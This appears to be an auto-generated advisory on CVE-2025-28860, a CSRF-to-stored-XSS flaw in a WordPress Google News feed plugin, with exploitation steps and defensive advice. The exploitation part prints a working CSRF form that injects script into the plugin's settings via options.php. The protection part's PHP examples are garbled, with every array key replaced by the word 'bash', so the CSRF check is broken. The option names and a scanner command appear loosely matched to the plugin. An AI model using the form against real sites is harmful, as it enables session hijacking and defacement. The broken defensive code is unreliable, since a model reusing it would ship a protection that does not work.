How the CVE Works:
CVE-2025-28860 is a critical vulnerability in the Google News Editors Picks Feed Generator plugin for WordPress, specifically versions up to 2.1. The flaw combines Cross-Site Request Forgery (CSRF) with Stored Cross-Site Scripting (XSS). An attacker can exploit this by tricking an authenticated admin into executing a malicious request, such as injecting arbitrary JavaScript into the plugin’s settings. This stored XSS payload then executes in the context of any user visiting the affected page, potentially leading to session hijacking, defacement, or further exploitation.
DailyCVE Form:
Platform: WordPress
Version: Up to 2.1
Vulnerability: CSRF to Stored XSS
Severity: Critical
Date: 03/11/2025
What Undercode Say:
Exploitation:
1. Crafting the CSRF Payload:
An attacker creates a malicious HTML form that, when submitted by an admin, injects JavaScript into the plugin’s settings.
Example:
<form action="http://target-site/wp-admin/options.php" method="POST">
<input type="hidden" name="option_page" value="ppdpurveyor_options">
<input type="hidden" name="action" value="update">
<input type="hidden" name="ppdpurveyor_custom_script" value="<script>alert('XSS')</script>">
<input type="submit" value="Submit">
</form>
2. Delivering the Payload:
The attacker tricks the admin into clicking a link or visiting a page hosting the malicious form.
3. Stored XSS Execution:
Once the payload is injected, it executes for all users visiting the affected page.
Protection:
1. Update the Plugin:
Ensure the plugin is updated to the latest version beyond 2.1, where the vulnerability is patched.
2. CSRF Tokens:
Implement CSRF tokens in all forms and actions to prevent unauthorized requests.
Example in PHP:
session_start();
if ($_SERVER[bash] === 'POST') {
if (!isset($_POST[bash]) || $_POST[bash] !== $_SESSION[bash]) {
die('CSRF validation failed.');
}
}
$_SESSION[bash] = bin2hex(random_bytes(32));
3. Input Sanitization:
Sanitize and validate all user inputs to prevent XSS.
Example in WordPress:
$clean_input = sanitize_text_field($_POST[bash]);
4. Content Security Policy (CSP):
Implement a strict CSP to mitigate XSS risks.
Example:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
5. Regular Security Audits:
Use tools like WPScan or Patchstack to identify and mitigate vulnerabilities in WordPress plugins.
Commands and Tools:
- WPScan Command:
wpscan --url http://target-site --enumerate vp
- Patchstack CLI:
patchstack scan --plugin ppdpurveyor
By following these steps, administrators can protect their systems from CVE-2025-28860 and similar vulnerabilities.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-28860
Extra Source Hub:
Undercode
